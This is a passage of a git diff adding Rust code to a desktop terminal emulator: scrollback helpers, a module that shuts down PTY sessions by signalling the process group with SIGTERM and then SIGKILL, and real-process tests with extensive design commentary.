+        self.generation += 1;
+        self.viewport()
+    }
+
+    /// Move the viewport through scrollback. **Positive moves *into* history.**
+    ///
+    /// That is upstream's sign (`Scroll::Delta`), kept rather than flipped: a
+    /// second convention in the middle of the stack is a bug waiting for the
+    /// one caller who reads the wrong doc comment. The DOM has the opposite
+    /// sense, and the embedder converts once, at the command boundary.
+    ///
+    /// Returns whether the viewport actually moved. Both ends of history clamp
+    /// silently upstream, and a caller that repaints on every request would
+    /// repaint for the whole tail of a momentum gesture after it had already
+    /// hit the top. Every scroll that *does* move is a full repaint, because
+    /// `Term::scroll_display` marks the grid fully damaged.
+    pub fn scroll(&mut self, lines: i32) -> bool {
+        self.scroll_display(alacritty_terminal::grid::Scroll::Delta(lines))
+    }
+
+    /// Return the viewport to the live edge. Returns whether it moved.
+    ///
+    /// Output alone does not do this: once scrolled back, the grid pins the
+    /// viewport and lets new lines accumulate above it
+    /// (`Grid::scroll_up`). Coming back is therefore an explicit act, and the
+    /// embedder ties it to user input.
+    pub fn scroll_to_bottom(&mut self) -> bool {
+        self.scroll_display(alacritty_terminal::grid::Scroll::Bottom)
+    }
+
+    /// How far the viewport sits above the live edge, in lines.
+    pub fn display_offset(&self) -> usize {
+        self.term.grid().display_offset()
+    }
+
+    fn scroll_display(&mut self, scroll: alacritty_terminal::grid::Scroll) -> bool {
+        let before = self.display_offset();
+        self.term.scroll_display(scroll);
+        self.display_offset() != before
+    }
+
+    pub fn term(&self) -> &Term<Listener> {
+        &self.term
+    }
+
+    pub fn term_mut(&mut self) -> &mut Term<Listener> {
+        &mut self.term
+    }
+}
diff --git a/desktop/src-tauri/crates/buzz-terminal/src/lifecycle.rs b/desktop/src-tauri/crates/buzz-terminal/src/lifecycle.rs
new file mode 100644
index 0000000000..dbd76f56e2
--- /dev/null
+++ b/desktop/src-tauri/crates/buzz-terminal/src/lifecycle.rs
@@ -0,0 +1,267 @@
+//! Child-process lifecycle for spawned PTY sessions.
+//!
+//! Closing a terminal tab must actually end the work the tab was doing. That
+//! is harder than calling `kill`, for two reasons that both come from the
+//! child being a *session leader* rather than an ordinary subprocess.
+//!
+//! **1. The child is not the only process.** `portable-pty` calls `setsid()`
+//! in `pre_exec` (`unix.rs:257`), so the shell becomes a session and process
+//! group leader; everything it runs — `vim`, a `make -j8` tree, a backgrounded
+//! `sleep` — joins that group or a descendant of it. Signalling the shell's
+//! pid alone reaches the shell. A shell that exits without forwarding the
+//! signal leaves its children running, reparented to init, holding the pty
+//! slave open. That is a leak that survives the window closing.
+//!
+//! So we signal the **process group** (`kill(-pgid)`), not the pid.
+//!
+//! **2. `portable-pty`'s own `kill` is not sufficient here.** `ChildKiller for
+//! std::process::Child` (`lib.rs:340-373`) sends `SIGHUP` to the *pid*, waits
+//! up to 4x50 ms, then falls back to `Child::kill` — which is `SIGKILL`, again
+//! to the pid. Both halves are pid-scoped, so neither reaches a grandchild.
+//! It is a correct API for "end this process"; ours is "end this session".
+//!
+//! ## The escalation
+//!
+//! `SIGTERM` to the group, a bounded wait for the leader, then `SIGKILL` to
+//! the group **whether or not the leader went quietly** -- see `shutdown` for
+//! why a polite leader does not imply an empty group.
+//! `SIGTERM` first because a shell asked to terminate cleanly will flush its
+//! history and let `vim` write its swap file; going straight to `SIGKILL`
+//! guarantees no process ever gets that chance. The bounded wait is what makes
+//! the escalation real — without it, `SIGKILL` either races the polite path
+//! (making `SIGTERM` decorative) or never fires (making a signal-ignoring
+//! child immortal).
+//!
+//! ## What this deliberately does not do
+//!
+//! A process that has called `setsid()` for *itself* has left our group, and
+//! no group signal reaches it. `nohup`, a daemonising build tool, and
+//! `tmux`-style servers all do this on purpose. We do not hunt the process
+//! tree to find them: walking children to signal them is a race against a
+//! moving tree — a pid read and then signalled may be a *different* process by
+//! the time the signal lands, and killing a stranger's pid is a far worse bug
+//! than leaking a daemon the user deliberately detached. Detaching from the
+//! session is the documented way to survive one's terminal, and honouring it
+//! is correct behaviour, not a gap.
+
+use std::io;
+use std::time::{Duration, Instant};
+
+use portable_pty::Child;
+
+/// How long the group gets to honour `SIGTERM` before `SIGKILL`.
+///
+/// Long enough for a shell to run its exit trap and for an editor to write a
+/// swap file; short enough that closing a tab never feels stuck. Tab close is
+/// not synchronous with this wait in the UI, so this is a cleanup deadline,
+/// not a frame budget.
+pub const TERM_GRACE: Duration = Duration::from_millis(250);
+
+/// Poll interval while waiting for the child to exit.
+///
+/// Polling rather than blocking in `wait()`: a blocking wait cannot be given a
+/// deadline without a second thread, and the whole point of the grace period
+/// is that it expires.
+const POLL_INTERVAL: Duration = Duration::from_millis(5);
+
+/// How a session ended.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub enum Shutdown {
+    /// Already gone before we signalled.
+    AlreadyExited,
+    /// Exited within [`TERM_GRACE`] of `SIGTERM`.
+    Terminated,
+    /// Ignored or outlived `SIGTERM`; the group was killed.
+    Killed,
+}
+
+/// Ends the session led by `child`: `SIGTERM` to its process group, a bounded
+/// wait, then `SIGKILL` to the group if anything is still there.
+///
+/// Reaps the child before returning, so the caller cannot leave a zombie by
+/// dropping the handle. Returns which arm ended it, which is what a test can
+/// assert on — "did it die" is satisfied by both arms and so distinguishes
+/// nothing.
+#[cfg(unix)]
+pub fn shutdown(child: &mut Box<dyn Child + Send + Sync>) -> io::Result<Shutdown> {
+    // Reap first. A child that already exited still has a pid slot until it is
+    // waited for, and that pid is reusable the moment it is released -- so
+    // signalling without checking is how a cleanup path eventually signals an
+    // unrelated process. Check before signalling, every time.
+    if child.try_wait()?.is_some() {
+        return Ok(Shutdown::AlreadyExited);
+    }
+
+    let Some(pid) = child.process_id() else {
+        // No pid means nothing to signal; still ensure it is reaped.
+        child.wait()?;
+        return Ok(Shutdown::AlreadyExited);
+    };
+    let pid = pid as i32;
+
+    signal_group(pid, libc::SIGTERM);
+    let leader_honoured_term = leader_exited_by(pid, Instant::now() + TERM_GRACE);
+
+    // Sweep the group unconditionally, *including* when the leader exited
+    // politely. The leader's exit is not the session's end: anything it
+    // backgrounded that ignores SIGTERM is still running, still in the group,
+    // and still holding the pty. Returning `Terminated` at that point reports
+    // success over a leak.
+    //
+    // Ordering with the reap is a safety requirement, not a preference. A
+    // process group id *is* the leader's pid, and the kernel may recycle that
+    // pid once the leader is reaped -- at which point `kill(-pid)` names some
+    // unrelated group. An exited-but-unreaped leader is a zombie, and a zombie
+    // is still a group member, so the id cannot be reused while we hold it.
+    // Signal first, reap second, and the window does not exist.
+    signal_group(pid, libc::SIGKILL);
+
+    // SIGKILL cannot be caught, so this terminates. It is still a `wait`
+    // rather than an assumption: the pid must be reaped, and the exit status
+    // is only available to whoever reaps it.
+    child.wait()?;
+
+    Ok(if leader_honoured_term {
+        Shutdown::Terminated
+    } else {
+        Shutdown::Killed
+    })
+}
+
+/// Sends `signal` to `pid`'s process group, falling back to the pid alone.
+///
+/// The fallback matters: `kill(-pgid)` requires the child to *be* a group
+/// leader, which it is only because `portable-pty` called `setsid()`. If that
+/// ever stops being true, a pid-scoped signal still ends the shell — degraded
+/// (grandchildren survive) rather than a silent no-op.
+///
+/// Errors are deliberately not propagated. Every failure mode here means the
+/// process is already gone (`ESRCH`) or was never ours to signal (`EPERM`),
+/// and in both cases the following `wait` is the authority on what happened.
+#[cfg(unix)]
+fn signal_group(pid: i32, signal: i32) {
+    // SAFETY: `kill` with a negative pid targets the process group; both
+    // arguments are plain integers and the call has no memory effects.
+    let sent = unsafe { libc::kill(-pid, signal) };
+    if sent != 0 {
+        // SAFETY: as above.
+        unsafe { libc::kill(pid, signal) };
+    }
+}
+
+/// Polls until the leader has exited, or `deadline` passes. Returns whether it
+/// exited in time.
+///
+/// Deliberately **not** `Child::try_wait`, which reaps: reaping here would
+/// release the process group id before the sweep above can use it. `WNOWAIT`
+/// reads the child's exit state and leaves it waitable, so the zombie stays
+/// and keeps the group id reserved for us.
+///
+/// `waitid`, not `waitpid`, and that is a portability requirement rather than
+/// taste. POSIX only defines `WNOWAIT` for `waitid`; Linux tolerates it on
+/// `waitpid`, and **Darwin returns `EINVAL`**. Measured with a C probe: on
+/// macOS 25.5.0, `waitpid(pid, &st, WNOHANG | WNOWAIT)` is `-1/EINVAL` for a
+/// child that has plainly exited. That failure is silent in the shape this
+/// function had — an error is indistinguishable from "not exited yet", so the
+/// grace period could never be honoured and *every* shutdown escalated to
+/// `SIGKILL`, reporting `Killed` for a child that died politely on the first
+/// `SIGTERM`. The polite arm was dead code on the platform we develop on.
+///
+/// `waitid` reports a still-running child as success-with-`si_pid == 0`, so
+/// the out-parameter must be zeroed before each call and the *pid*, not the
+/// return code, is the answer.
+#[cfg(unix)]
+fn leader_exited_by(pid: i32, deadline: Instant) -> bool {
+    loop {
+        // SAFETY: `info` is a valid, fully-initialised out-pointer for the
+        // duration of the call. `WNOWAIT` leaves the child waitable, so the
+        // later `wait` still returns its status.
+        let exited = unsafe {
+            let mut info: libc::siginfo_t = std::mem::zeroed();
+            let rc = libc::waitid(
+                libc::P_PID,
+                pid as libc::id_t,
+                &mut info,
+                libc::WEXITED | libc::WNOHANG | libc::WNOWAIT,
+            );
+            rc == 0 && info.si_pid() == pid
+        };
+        if exited {
+            return true;
+        }
+        if Instant::now() >= deadline {
+            return false;
+        }
+        std::thread::sleep(POLL_INTERVAL);
+    }
+}
+
+/// Maximum concurrent terminal sessions.
+///
+/// Each session costs a pty pair (two fds), a reader thread, and a scrollback
+/// grid -- at the default 10k lines x 80 cols that is megabytes of resident
+/// memory per tab. The cap exists because tab creation is one keystroke and
+/// nothing else bounds it: without a limit, a held-down shortcut exhausts the
+/// process fd table, and the first thing to fail is not the terminal but
+/// whatever *else* in Buzz next asks for a file descriptor -- the relay
+/// socket, a database handle. A resource a UI can allocate in a loop needs a
+/// ceiling that fails in its own subsystem.
+///
+/// 20 matches the abandoned `feat/terminal` branch's `MAX_LIVE_SESSIONS`,
+/// kept deliberately: it is far above any plausible human tab count and far
+/// below the default 256-fd soft limit, so it bounds the runaway case without
+/// ever being reachable by hand.
+pub const MAX_LIVE_SESSIONS: usize = 20;
+
+/// A reader that is still consuming the PTY master, to be stopped only after
+/// the session has been torn down.
+///
+/// This exists because the correct close order is not the obvious one, and
+/// nothing in the type system otherwise prevents the wrong one. Mari's ruling
+/// (`62509b91`) is that **the reader outlives child termination and reap**:
+///
+/// 1. mark the session closing and stop publishing to the UI;
+/// 2. `SIGTERM` -> grace -> `SIGKILL` -> reap, *while output is still drained*;
+/// 3. only then close the master and join the reader.
+///
+/// Inverting steps 2 and 3 is the bug this trait is shaped to prevent, and it
+/// is not a hypothetical: a child blocked writing into a master nobody reads
+/// does not die promptly even on `SIGKILL`, because the kernel completes the
+/// tty teardown first. Measured with a `forkpty` probe -- **606 ms** to reap a
+/// `SIGKILL`ed child against an undrained master, versus microseconds when
+/// drained. Join the reader first and every tab close pays that, on the arm
+/// where the user is already waiting.
+pub trait DrainingReader {
+    /// Detach parser work and enter raw-drain mode before child termination.
+    fn begin_closing(&self);
+
+    /// Wake a reader that remains blocked after the child has been reaped.
+    fn stop(&self);
+
+    /// Releases the reader thread. Called only after [`DrainingReader::stop`].
+    fn join(self: Box<Self>);
+}
+
+/// Ends a session in the order the drain law requires, and returns how it
+/// ended.
+///
+/// The ordering is enforced by ownership rather than by documentation: this
+/// function takes the reader **by value**, so a caller cannot have joined it
+/// beforehand -- a joined reader has been consumed and cannot be passed here.
+/// The only way to use this API is the correct order. A comment saying "do not
+/// join the reader first" is advice; a moved value is a compile error.
+#[cfg(unix)]
+pub fn shutdown_draining(
+    child: &mut Box<dyn Child + Send + Sync>,
+    reader: Box<dyn DrainingReader>,
+) -> io::Result<Shutdown> {
+    reader.begin_closing();
+    // Terminate and reap with the reader still running, so the child never
+    // blocks in a tty write while we are waiting on it.
+    let outcome = shutdown(child);
+    // Unconditional: wake and release the reader whether or not shutdown
+    // reported an error. EOF may already have ended it; stop is idempotent.
+    reader.stop();
+    reader.join();
+    outcome
+}
diff --git a/desktop/src-tauri/crates/buzz-terminal/src/lifecycle_tests.rs b/desktop/src-tauri/crates/buzz-terminal/src/lifecycle_tests.rs
new file mode 100644
index 0000000000..3ddeadbf92
--- /dev/null
+++ b/desktop/src-tauri/crates/buzz-terminal/src/lifecycle_tests.rs
@@ -0,0 +1,581 @@
+//! Lifecycle gates: the session dies, the grandchild dies with it, and the
+//! login `argv[0]` the child actually receives is the one we computed.
+//!
+//! Every test here drives a real PTY and a real process tree. A mock child
+//! would let us assert that we *called* `kill`, which is the half we already
+//! know; the property under test is what the kernel does with a process group
+//! we do not fully control.
+
+use crate::env_fence::fence_env;
+use crate::lifecycle::{shutdown, shutdown_draining, DrainingReader, Shutdown, TERM_GRACE};
+use crate::path::user_shell_path;
+use crate::shell::{login_argv0, resolve_shell};
+use portable_pty::{native_pty_system, Child, CommandBuilder, PtyPair, PtySize};
+use std::sync::atomic::Ordering;
+use std::time::{Duration, Instant};
+
+/// Upper bound on any wait in this file.
+///
+/// Every wait here is bounded, and that is not caution -- it is the lesson
+/// from a probe of an interactive child that read to EOF and hung for 300 s.
+/// A PTY master does not reach EOF while any process holds the slave open, so
+/// "read until the child is done" is not a terminating program. Bound the
+/// read, or poll for the observable effect.
+const BOUND: Duration = Duration::from_secs(10);
+
+/// Self-destruct deadline, in seconds, for fixture processes built to ignore
+/// signals.
+///
+/// Comfortably longer than [`BOUND`], so it can never end a process while the
+/// test is still observing it -- a watchdog that fires inside the observation
+/// window would make a *failing* implementation look correct. Short enough
+/// that a crashed run does not leave a core spinning until reboot.
+const WATCHDOG: u64 = 60;
+
+fn open_pty() -> PtyPair {
+    native_pty_system()
+        .openpty(PtySize {
+            rows: 24,
+            cols: 80,
+            pixel_width: 0,
+            pixel_height: 0,
+        })
+        .expect("openpty")
+}
+
+/// Drains the PTY master in the background for as long as it stays open.
+///
+/// Not hygiene -- a correctness requirement, and the cause of a 300 s hang in
+/// the first version of this file. A PTY has a small kernel buffer, and a
+/// child writing into a master nobody reads blocks in `write()` once it fills.
+/// A process blocked in an uninterruptible tty write does not die promptly on
+/// `SIGKILL`: the signal is delivered, but the kernel finishes tearing down
+/// the tty session first, so `wait()` sits there while the reap completes.
+/// Measured directly with a `forkpty` C probe: with the master undrained, a
+/// `SIGKILL`ed child took **606 ms** to be reaped. Every terminal in the
+/// product drains its master continuously -- that is what a renderer *is* --
+/// so a test that doesn't is modelling a configuration that never ships.
+///
+/// The consequence is worth stating for the embedder: **shutdown must not be
+/// called after the reader has stopped.** Tear the session down while output
+/// is still being consumed, or the grace period is spent waiting on a
+/// self-inflicted stall.
+fn drain(pair: &PtyPair) {
+    let mut reader = pair.master.try_clone_reader().expect("reader");
+    std::thread::spawn(move || {
+        use std::io::Read;
+        let mut buf = [0u8; 4096];
+        while matches!(reader.read(&mut buf), Ok(n) if n > 0) {}
+    });
+}
+
+/// Spawns `script` under `/bin/sh` on a real PTY, fully fenced.
+fn spawn_script(pair: &PtyPair, script: &str) -> Box<dyn Child + Send + Sync> {
+    let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
+    let mut cmd = CommandBuilder::new("/bin/sh");
+    fence_env(&mut cmd, &user_shell_path(), &shell);
+    cmd.arg("-c");
+    cmd.arg(script);
+    let child = pair.slave.spawn_command(cmd).expect("spawn");
+    drain(pair);
+    child
+}
+
+/// True while `pid` exists. `kill(pid, 0)` performs the permission and
+/// existence checks without delivering a signal.
+fn pid_alive(pid: i32) -> bool {
+    // SAFETY: signal 0 delivers nothing; both arguments are integers.
+    unsafe { libc::kill(pid, 0) == 0 }
+}
+
+/// Polls `f` until it returns true or `BOUND` elapses; returns whether it did.
+///
+/// Polling for the observable state rather than sleeping a fixed duration: a
+/// sleep long enough to be reliable is slow, and a sleep short enough to be
+/// fast is a race that fails on a loaded machine. Both are worse than asking.
+fn poll_until(mut f: impl FnMut() -> bool) -> bool {
+    let deadline = Instant::now() + BOUND;
+    while Instant::now() < deadline {
+        if f() {
+            return true;
+        }
+        std::thread::sleep(Duration::from_millis(5));
+    }
+    false
+}
+
+/// Reads a file until it is non-empty or `BOUND` elapses.
+fn read_when_written(path: &std::path::Path) -> Option<String> {
+    let mut found = None;
+    poll_until(|| match std::fs::read_to_string(path) {
+        Ok(text) if !text.trim().is_empty() => {
+            found = Some(text.trim().to_owned());
+            true
+        }
+        _ => false,
+    });
+    found
+}
+
+/// A cooperative child exits on `SIGTERM`, so the polite arm is what ends it.
+///
+/// The distinction matters: `Killed` and `Terminated` both leave a dead
+/// process, so asserting death alone would pass with `SIGTERM` deleted
+/// entirely and the grace period reduced to a delay before `SIGKILL`.
+#[test]
+fn cooperative_child_exits_on_term_not_kill() {
+    let pair = open_pty();
+    let mut child = spawn_script(&pair, "sleep 30");
+    let pid = child.process_id().expect("pid") as i32;
+
+    let outcome = shutdown(&mut child).expect("shutdown");
+    assert_eq!(
+        outcome,
+        Shutdown::Terminated,
+        "a child that dies on SIGTERM must not have needed SIGKILL"
+    );
+    assert!(poll_until(|| !pid_alive(pid)), "child survived shutdown");
+}
+
+/// A child that ignores `SIGTERM` must still die, and the escalation must be
+/// what kills it.
+///
+/// The fixture shape is load-bearing and my first one was vacuous. I wrote
+/// `trap '' TERM; sleep 30`, which *looks* like a signal-ignoring child and
+/// reported `Terminated` -- the polite arm, on a child built to defeat it.
+/// The reason is that `sh` does not ignore a signal on its child's behalf: the
+/// group `SIGTERM` reaches `sleep`, which has no trap and dies, and the shell
+/// was blocked in `wait` on exactly that `sleep`, so it reaps it and exits
+/// normally. The trap was real, the ignoring was real, and the process still
+/// died on `SIGTERM` -- through a path the test wasn't looking at.
+///
+/// Had I not checked *which* arm fired, this would have passed for the wrong
+/// reason and gone on "proving" an escalation it never exercised. The loop
+/// keeps the shell itself alive: no blocking `wait` to be interrupted, so the
+/// trap actually governs the shell's own fate and only `SIGKILL` can end it.
+///
+/// The readiness handshake closes a second, subtler version of the same
+/// mistake. My loop fixture *still* reported `Terminated`, because `trap` is a
+/// command the shell has to reach: a signal delivered in the interval between
+/// `exec` and that line finds the default disposition and kills the shell
+/// outright. Isolated with a `forkpty` probe -- identical binary, only the
+/// delay before signalling changed: at 500 ms all four arms survived, at 2 ms
+/// all four died with signal 15. A fixture that is only *probably* armed makes
+/// this test a race whose failure mode is a false pass.
+///
+/// This is the arm that fails if the escalation is deleted -- and the
+/// `WATCHDOG` is what makes that a *failure* rather than a hang. With
+/// `SIGKILL` deleted, nothing we send can end a child that ignores `SIGTERM`,
+/// so `shutdown`'s final `wait` blocks forever and the mutant is detected only
+/// by the harness timing out. A test that detects a bug by never finishing is
+/// indistinguishable from a broken test. The deadline converts it into a
+/// bounded, reportable failure.
+#[test]
+fn signal_ignoring_child_is_killed_after_the_grace_period() {
+    let dir = tempdir("buzz-terminal-trap");
+    let ready = dir.join("armed");
+
+    let pair = open_pty();
+    // The readiness file is written *after* the trap is installed, so waiting
+    // on it converts "probably armed by now" into an observed fact.
+    let mut child = spawn_script(
+        &pair,
+        &format!(
+            "trap '' TERM; (sleep {WATCHDOG}; kill -9 $$) & : > {}; \
+             while :; do sleep 0.1; done",
+            ready.display()
+        ),
+    );
+    let pid = child.process_id().expect("pid") as i32;
+    assert!(
+        poll_until(|| ready.exists()),
+        "child never armed its SIGTERM trap; signalling now would test a \
+         startup race rather than the escalation"
+    );
+
+    let started = Instant::now();
+    let outcome = shutdown(&mut child).expect("shutdown");
+    let elapsed = started.elapsed();
+
+    assert_eq!(
+        outcome,
+        Shutdown::Killed,
+        "a SIGTERM-ignoring child must be escalated to SIGKILL"
+    );
+    assert!(poll_until(|| !pid_alive(pid)), "child survived SIGKILL");
+    assert!(
+        elapsed >= TERM_GRACE,
+        "shutdown returned in {elapsed:?}, before the {TERM_GRACE:?} grace \
+         period could have elapsed -- SIGTERM was never given its chance"
+    );
+    assert!(
+        elapsed < BOUND,
+        "shutdown took {elapsed:?}; the grace period is not bounded"
+    );
+}
+
+/// The property the whole module exists for: a **grandchild** must not outlive
+/// the session.
+///
+/// The fixture is deliberately hostile, and the obvious version of this test
+/// proves nothing. I first wrote `sleep 30 & echo $!; wait` and mutation L2 --
+/// replacing `kill(-pid)` with `kill(pid)` -- **survived it**. The reason is
+/// that killing a PTY session leader makes the kernel hang up the terminal and
+/// `SIGHUP` the whole foreground group, so the grandchild dies either way.
+/// Isolated with a `forkpty` probe: with the master held open (no fd-closure
+/// hangup) and only `SIGKILL` to the shell's pid, the grandchild was gone
+/// within 200 ms while the shell itself was still unreaped. The tty hangup was
+/// doing the work my group signal was being credited for.
+///
+/// Two properties are therefore required of the grandchild, and each closes
+/// one leak in the fixture:
+///
+/// - it **ignores `SIGHUP`**, so the tty hangup cannot end it for us; and
+/// - it **busy-loops rather than sleeping**, so it is not blocked in a call
+///   that the session teardown would interrupt anyway.
+///
+/// With both, the probe separates cleanly: pid-only leaves the grandchild
+/// alive, `kill(-pgid)` does not. That is the only shape in which this test
+/// can fail for the reason it claims to test.
+///
+/// The `WATCHDOG` is the price of that hostility. A grandchild built to
+/// survive every signal we send also survives the harness: when this test
+/// legitimately fails -- as it does under mutation L1 and L2 -- it leaves a
+/// process spinning a core at PPID 1, and a panicking or killed test binary
+/// cannot clean up after itself. So the child carries its own deadline.
+/// `SIGKILL` because that is the one signal the fixture does not trap.
+#[test]
+fn grandchild_does_not_outlive_the_session() {
+    let dir = tempdir("buzz-terminal-orphan");
+    let pidfile = dir.join("grandchild.pid");
+    let armed = dir.join("armed");
+
+    let pair = open_pty();
+    let mut child = spawn_script(
+        &pair,
+        &format!(
+            "sh -c 'trap \"\" HUP TERM; (sleep {WATCHDOG}; kill -9 $$) & \
+             : > {armed}; while :; do :; done' & \
+             echo $! > {pidfile}; wait",
+            armed = armed.display(),
+            pidfile = pidfile.display()
+        ),
+    );
+    let shell_pid = child.process_id().expect("pid") as i32;
+
+    let grandchild: i32 = read_when_written(&pidfile)
+        .expect("grandchild never reported its pid")
+        .parse()
+        .expect("pid is a number");
+    assert!(
+        poll_until(|| armed.exists()),
+        "grandchild never armed its SIGHUP trap; the tty hangup would kill it \
+         regardless of how we signal, and this test could not observe the \
+         difference"
+    );
+    assert!(
+        pid_alive(grandchild),
+        "test setup: the grandchild must be running before we shut down"
+    );
+    assert_ne!(
+        grandchild, shell_pid,
+        "test setup: the grandchild must be a distinct process, or this \
+         cannot tell a group signal from a pid signal"
+    );
+
+    shutdown(&mut child).expect("shutdown");
+
+    assert!(
+        poll_until(|| !pid_alive(shell_pid)),
+        "the session leader survived shutdown"
+    );
+    assert!(
+        poll_until(|| !pid_alive(grandchild)),
+        "an orphaned grandchild ({grandchild}) outlived the session -- the \
+         signal reached the shell's pid but not its process group"
+    );
+}
+
+/// Shutting down an already-dead child is safe and reaps it.
+///
+/// Without the leading `try_wait`, this path signals a pid that the kernel may
+/// already have released and reassigned.
+#[test]
+fn shutdown_of_an_exited_child_is_a_reap_not_a_signal() {
+    let pair = open_pty();
+    let mut child = spawn_script(&pair, "exit 0");
+    assert!(
+        poll_until(|| child.try_wait().ok().flatten().is_some()),
+        "child did not exit"
+    );
+    assert_eq!(
+        shutdown(&mut child).expect("shutdown"),
+        Shutdown::AlreadyExited
+    );
+}
+
+/// The login `argv[0]` the child **actually receives**, not the string we
+/// computed.
+///
+/// This closes the gap flagged in `e8b567aa`: `login_argv0` and
+/// `portable-pty`'s `as_command` (`cmdbuilder.rs:510-517`) were each verified
+/// by reading, and agreement-by-reading is not observation.
+///
+/// Two things make the probe terminate where a naive one hangs. The child
+/// writes `$0` to a **file** rather than the PTY -- so there is no terminal
+/// echo to strip, no ANSI to parse, and no dependency on the interactive
+/// shell ever reaching EOF. And the read is polled to a deadline. Credit to
+/// Quinn (`fcfd69b0`), whose three failed PTY-parsing harnesses established
+/// that the harness was the bug.
+///
+/// The explicit-prog row is the control that isolates login `argv[0]` as the
+/// only variable: same shell, same PTY, same fence, no `-` prefix.
+#[test]
+fn default_prog_child_observes_the_login_argv0() {
+    let dir = tempdir("buzz-terminal-argv0");
+    let shell = "/bin/sh";
+
+    let default_prog = observe_argv0(&dir.join("default"), shell, true);
+    assert_eq!(
+        default_prog,
+        login_argv0(shell),
+        "the child's $0 is not the login argv0 we computed"
+    );
+    assert!(
+        default_prog.starts_with('-'),
+        "a default-prog child must be a login shell: {default_prog:?}"
+    );
+
+    let explicit = observe_argv0(&dir.join("explicit"), shell, false);
+    assert_eq!(
+        explicit, shell,
+        "control: an explicitly-invoked shell must not be given a login argv0"
+    );
+    assert_ne!(
+        default_prog, explicit,
+        "control and subject agree, so this test cannot observe the login \
+         prefix at all"
+    );
+}
+
+/// Spawns a `/bin/sh` that writes its own `$0` to `pidfile`, either as a
+/// default program (login argv0 applied by portable-pty) or explicitly.
+///
+/// The default-prog child is an *interactive* shell with no `-c`, so it is
+/// driven by writing to the PTY master -- the only way to give a login shell
+/// a command is to type one.
+fn observe_argv0(outfile: &std::path::Path, shell: &str, default_prog: bool) -> String {
+    let pair = open_pty();
+    let resolved = resolve_shell(Some(shell));
+    let mut cmd = if default_prog {
+        CommandBuilder::new_default_prog()
+    } else {
+        CommandBuilder::new(shell)
+    };
+    fence_env(&mut cmd, &user_shell_path(), &resolved);
+    if !default_prog {
+        cmd.arg("-c");
+        cmd.arg(format!("printf '%s' \"$0\" > {}", outfile.display()));
+    }
+
+    let mut child = pair.slave.spawn_command(cmd).expect("spawn");
+    drain(&pair);
+    drop(pair.slave);
+
+    if default_prog {
+        use std::io::Write;
+        let mut writer = pair.master.take_writer().expect("writer");
+        writeln!(writer, "printf '%s' \"$0\" > {}", outfile.display()).expect("write");
+        writer.flush().expect("flush");
+        // Dropping the writer closes the master's write side, which the shell
+        // reads as end-of-input and exits on -- no `exit` command needed, and
+        // nothing depends on the shell's rc files having run.
+        drop(writer);
+    }
+
+    let observed = read_when_written(outfile);
+    let _ = crate::lifecycle::shutdown(&mut child);
+    observed.unwrap_or_else(|| panic!("child never reported $0 within {BOUND:?}"))
+}
+
+/// A fresh directory for a test's artifacts, replacing any prior run's.
+fn tempdir(name: &str) -> std::path::PathBuf {
+    let dir = std::env::temp_dir().join(name);
+    let _ = std::fs::remove_dir_all(&dir);
+    std::fs::create_dir_all(&dir).expect("create temp dir");
+    dir
+}
+
+/// Mari's noisy-child discriminator: the reader must still be draining
+/// **while** the child is being terminated and reaped.
+///
+/// The portable contract is structural: `stop` must not be requested until
+/// the child has been reaped. The recording reader checks the child PID at the
+/// `stop` call, while the continuously noisy PTY makes the test exercise a
+/// reader that is genuinely active rather than a quiet no-op.
+///
+/// The child is deliberately noisy: it floods the PTY continuously, so a
+/// master that stops being read fills its kernel buffer within milliseconds
+/// and the child blocks in `write()`. That is the state the drain law exists
+/// to avoid, and a quiet child cannot produce it -- with nothing being
+/// written, both orders look identical and the test proves nothing.
+#[test]
+fn reader_drains_through_termination_and_reap() {
+    let pair = open_pty();
+
+    // Flood, and keep flooding: `yes` writes until the pipe is closed or the
+    // process dies, so there is always more output pending than the buffer
+    // holds.
+    let mut child = spawn_noisy(&pair);
+    let pid = child.process_id().expect("pid") as i32;
+
+    let order = std::sync::Arc::new(std::sync::Mutex::new(Vec::new()));
+    let stop_at: StopClock = std::sync::Arc::new(std::sync::Mutex::new(None));
+    let reader = RecordingReader::spawn(&pair, pid, order.clone(), stop_at.clone());
+    // Release the slave, exactly as the runtime does after spawning
+    // (`terminal_runtime.rs:441`). Not hygiene: a PTY master does not reach
+    // EOF while *any* process holds the slave open, and this test is one --
+    // so with the slave retained the reader parks in `read()` forever after
+    // the child is reaped, and every wait on it burns its whole bound. Linux
+    // honours that rule strictly; Darwin ends the read when the session
+    // leader exits, so the retained slave was invisible on the platform this
+    // was written on and failed only in CI.
+    drop(pair.slave);
+
+    // Establish that this is a live draining reader, not a quiet fixture.
+    assert!(
+        poll_until(|| reader.total_bytes() > 4096),
+        "test setup: the child is not producing enough output to fill the pty \
+         buffer, so this cannot distinguish drain order"
+    );
+
+    let started = Instant::now();
+    let outcome = shutdown_draining(&mut child, Box::new(reader)).expect("shutdown");
+    // `stop` runs the instant `shutdown` returns, so this is the child's half
+    // of the window and nothing else. Timing the whole call would fold reader
+    // teardown into an assertion whose message is about child termination --
+    // which is exactly how a stalled reader once read as a wedged child.
+    let elapsed = stop_at
+        .lock()
+        .unwrap()
+        .expect("stop was never called")
+        .duration_since(started);
+
+    assert_eq!(
+        outcome,
+        Shutdown::Terminated,
+        "a `yes` pipeline dies on SIGTERM; SIGKILL here means it was wedged in \
+         a tty write against an undrained master"
+    );
+    assert!(
+        elapsed < TERM_GRACE,
+        "shutdown took {elapsed:?}, at or beyond the {TERM_GRACE:?} grace \
+         period: the child was blocked writing to an undrained master rather \
+         than exiting on SIGTERM"
+    );
+    assert_eq!(
+        *order.lock().unwrap(),
+        ["begin_closing", "stop", "join"],
+        "reader close must begin before termination and stop/join only after reap"
+    );
+}
+
+/// Spawns a child that floods the PTY without pause.
+fn spawn_noisy(pair: &PtyPair) -> Box<dyn Child + Send + Sync> {
+    let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
+    let mut cmd = CommandBuilder::new("/bin/sh");
+    fence_env(&mut cmd, &user_shell_path(), &shell);
+    cmd.arg("-c");
+    cmd.arg("while :; do echo aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; done");
+    // Deliberately no `drain` here: this test owns the reader.
+    pair.slave.spawn_command(cmd).expect("spawn")
+}
+
+/// A [`DrainingReader`] that records how much it read after close began.
+struct RecordingReader {
+    pid: i32,
+    total: std::sync::Arc<std::sync::atomic::AtomicU64>,
+    handle: std::thread::JoinHandle<()>,
+    order: std::sync::Arc<std::sync::Mutex<Vec<&'static str>>>,
